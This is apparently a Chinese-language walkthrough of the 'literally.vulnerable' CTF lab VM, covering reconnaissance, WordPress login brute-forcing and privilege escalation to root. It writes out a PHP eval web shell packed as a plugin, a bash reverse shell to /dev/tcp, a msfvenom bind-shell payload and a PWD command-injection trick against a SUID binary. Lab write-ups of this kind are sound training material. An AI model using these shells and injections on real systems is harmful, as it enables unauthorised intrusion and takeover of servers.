前言
略有點虎頭蛇尾。主要有一步沒想通。
web打點
nmap -sP 192.168.218.0/24
#發現主機IP 192.168.218.138
#埠掃描
nmap -sV -p- 192.168.218.138
所得結果如下
Nmap scan report for 192.168.218.138
Host is up (0.00038s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
65535/tcp open http Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 00:0C:29:6F:A0:4F (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ftp存在匿名登陸(使用者名稱ftp,密碼為空)
下載下來用notepad++開啟
Hi Doe,
I'm guessing you forgot your password again! I've added a bunch of passwords below along with your password so we don't get hacked by those elites again!
*$eGRIf7v38s&p7
yP$*SV09YOrx7mY
GmceC&oOBtbnFCH
3!IZguT2piU8X$c
P&s%F1D4#KDBSeS
$EPid%J2L9LufO5
nD!mb*aHON&76&G
$*Ke7q2ko3tqoZo
SCb$I^gDDqE34fA
訪問80埠,發現頁面顯示不正常,隨便點個search按鈕檢視跳轉連線的域名。修改hosts檔案把literally.vulnerable配到靶機IP上,再訪問頁面正常。
web指紋識別到這是個wordpress站點(看也看得出)
掃一波目錄
[21:48:18] 200 - 25KB - /admin/?/login
[21:48:54] 200 - 25KB - /domcfg.nsf/?open
[21:49:00] 200 - 0B - /favicon.ico
[21:49:09] 301 - 0B - /index.php -> http://literally.vulnerable/
[21:49:09] 301 - 0B - /index.php/login/ -> http://literally.vulnerable/login/
[21:49:14] 200 - 19KB - /license.txt
[21:49:24] 301 - 0B - /myadminphp -> http://literally.vulnerable/myadminphp/
[21:49:42] 200 - 7KB - /readme.html
[21:49:59] 200 - 25KB - /v2/keys/?recursive=true
[21:50:01] 200 - 25KB - /solr/admin/file/?file=solrconfig.xml
[21:50:02] 500 - 3KB - /wp-admin/setup-config.php
[21:50:02] 400 - 1B - /wp-admin/admin-ajax.php
[21:50:03] 200 - 1KB - /wp-admin/install.php
[21:50:03] 200 - 0B - /wp-config.php
[21:50:03] 200 - 69B - /wp-content/plugins/akismet/akismet.php
[21:50:03] 500 - 0B - /wp-content/plugins/hello.php
[21:50:04] 200 - 0B - /wp-cron.php
[21:50:04] 500 - 0B - /wp-includes/rss-functions.php
[21:50:04] 200 - 5KB - /wp-login.php
[21:50:04] 302 - 0B - /wp-signup.php -> http://literally.vulnerable/wp-login.php?action=register
[21:50:05] 405 - 42B - /xmlrpc.php
經過一番對sql注入、越權、使用admin和doe作為賬號爆破wordpress和ssh的嘗試,確認80埠這個站確實如他所說not so vulnerable...
只能看最後一個埠65535了
開局一個apache2預設頁面,dirb和dirsearch結果如下
[22:20:18] 200 - 11KB - /index.html
[22:20:19] 301 - 342B - /javascript -> http://literally.vulnerable:65535/javascript/
GENERATED WORDS: 4612
---- Scanning URL: http://literally.vulnerable:65535/ ----
+ http://literally.vulnerable:65535/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://literally.vulnerable:65535/javascript/
+ http://literally.vulnerable:65535/server-status (CODE:403|SIZE:288)
---- Entering directory: http://literally.vulnerable:65535/javascript/ ----
==> DIRECTORY: http://literally.vulnerable:65535/javascript/jquery/
---- Entering directory: http://literally.vulnerable:65535/javascript/jquery/ ----
+ http://literally.vulnerable:65535/javascript/jquery/jquery (CODE:200|SIZE:268026)
換了幾個字典都沒掃出什麼其他的,陷入僵局。看一眼別人的wp,這裡掃出了一個phpcms?
使用的字典是/usr/share/dirb/wordlists/big.txt
一個與80埠相似的wordpress,看到幾篇博文的作者都是notadmin,使用之前獲取的密碼嘗試檢視加密的文章、登陸後臺都無果。
wpscan列舉發現一個新的使用者名稱maybeadmin。這一次終於有匹配上的密碼了$EPid%J2L9LufO5
成功進入後臺,檢視加密文章
得到一組賬密notadmin:Pa$$w0rd13!&
切換使用者登陸看看
呵,看樣子這是管理員賬號啊。
嘗試從編輯主題,編輯外掛兩個地方入手拿shell。
編輯主題那就沒發現能改php的地方。
外掛編輯倒是可以修改,但是我不太懂外掛結構,程式碼全刪了換成一句話,結果我改完直接沒了。
還能本地上傳外掛(這也是msf中wp_admin_shell_upload所使用的手法)
搜了下wordpress外掛開發helloworld,並學習了一手metasploit對應exp:wp_admin_shell_upload.rb
惡意外掛製作步驟如下:
1.新建一個資料夾hello,內建兩個php檔案
hello.php
<?php
/*
Plugin Name: Copyright plugin
Plugin URI: http://www.xxxx.com/plugins/
Description: test
Version: 1.0.0
Author: wuerror
Author URI: http://www.xxxx.com/
License: GPL
*/
?>
s.php
<?php eval($_POST['pass']);?>
2.把資料夾打包上傳
3.蟻劍連線,外掛路徑為wp-content/plugins/hello/s.php
後滲透
bash -i >& /dev/tcp/192.168.218.129/4444 0>&1
反彈shell又遇到老問題ret=2,沒找到解決辦法。得msf整個正向shell吧
msfvenom -p linux/x64/meterpreter/bind_tcp -a x64 --platform linux LPORT=4444 -f elf > bindtcp.elf
通過蟻劍上傳後,虛擬終端執行chmod +x bindtcp.elf,./bindtcp.elf
攻擊機執行
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.40.129
set lport 4444
run
照例 suid先找一圈
find / -perm -u=s -type f 2>/dev/null
發現有一個怪怪的: /home/doe/iteasy
再檢視了crontab、path變數內容有無相對路徑、/etc/passwd的可寫許可權都沒有進展
Linux-exploit-suggester給的exp是2021年的CVE。或許可行,但肯定不是靶機預設的路徑
那繼續看看這個在使用者家目錄的suid檔案
這個環境變數裡有個OLDPWD(正常是沒有這個變數的)
那應該是跟pwd變數有關了。但我改成/home/john再執行也沒啥變化。通過蟻劍把檔案下載下來,ida開啟分析一下看看(web狗強行分析)
按下f5
system()執行ptr[0],但是ptr[0]又是什麼呢?還有這個asprintf()函式。經過一番搜尋
這麼說的話,v3也就是我們輸入的值,是存放在ptr申請的記憶體裡的。下面system執行的就是v3(pwd變數的值)。
那我們把pwd改成/bin/bash看看,失敗,只有print結果,沒有成功開啟shell.
看看已有的wp,發現他們寫的是這個,對特殊符號做了個轉義?
export PWD=\$\(/bin/bash\)
後面就不做了。總之就是得到了John的shell,sudo -l 發現了用root許可權在跑的test.html,而www-data恰好有寫入許可權,這倆都是我們已經控制的賬號因而echo /bin/bash > test.html再執行成功獲得root